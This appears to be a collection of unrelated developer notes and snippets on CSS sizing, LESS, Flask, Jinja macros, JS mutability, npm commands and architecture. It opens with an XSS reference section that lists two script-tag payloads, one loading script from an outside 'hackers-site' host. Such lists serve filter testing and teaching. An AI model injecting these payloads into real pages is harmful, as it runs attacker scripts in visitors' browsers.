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// Theory
// http://htmlpurifier.org/live/smoketests/xssAttacks.php 
// https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

// A full collection of HTML5 related XSS attack vectors: 
// https://github.com/cure53/H5SC https://raw.githubusercontent.com/cure53/H5SC/master/vectors.txt

// Short list
<script>alert("XSS: script tag")</script>
<script src="http://hackers-site.powertofly.com"></script>

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// How it works: https://youtu.be/IbfsvI6dh4U

@textFontSize: 20px;
@lineHeight: 1.5rem;

// Set up font size and line-height
html {
   font-size: @textFontSize;
}

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Problem Statement

Develop an API endpoint to get a list of users.

Requirements to DB

DB should have at least 1MM records.

Requirements to API

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Based on https://msdn.microsoft.com/en-us/library/ee658094.aspx#Interoperability

Conceptual Integrity

Conceptual integrity defines the consistency and coherence of the overall design. This includes the way that components or modules are designed, as well as factors such as coding style and variable naming.

Can be achived by

• Design Style Guides

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Flask with infinity scroll navigation

Using: Flask, SQLAlchemy, Infinite-scroll

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// Get list of prices of saled products that are below 1000, ordered by ASC

var sales = [
  {id: 1, price: "500"},
  {id: 2, price: "1500"},
  {id: 3, price: "750"},
  {id: 4, price: "1750"},
  {id: 5, price: "150"},
  {id: 3, price: "750"},
];

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1. Difference between px, em, rem

<style>
  html, body {
    font-size: 10px;
  }
  div {
    font-size: 15px;
 }

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Data Types, mutable, immutable

What data types in JS do you know? What data types are mutable? How to solve mutability problem in the code?

var person1 = {name: 'Ana'};
var person2 = person1;
person1.name = 'Julia';
console.log(person1.name);
console.log(person2.name);

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{% macro form_field(form, field, print_status=True) -%}
    {% set has_label = kwargs.pop('has_label', True) %}
    {% set placeholder = '' %}
    {% if not has_label %}
        {% set placeholder = field.label.text %}
    {% endif %}
    {% set field_status = '' %}
    {% if form.errors and (form.submitted or (form.is_submitted() and form.submit.data)) %}
        {# form.submit.data for support multiple forms on page #}
        {# form.submitted - manual control for form without button (ajax) #}

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Install / Update node modules

npm install 

List of installed modules

npm list
npm list -g
npm list --depth=0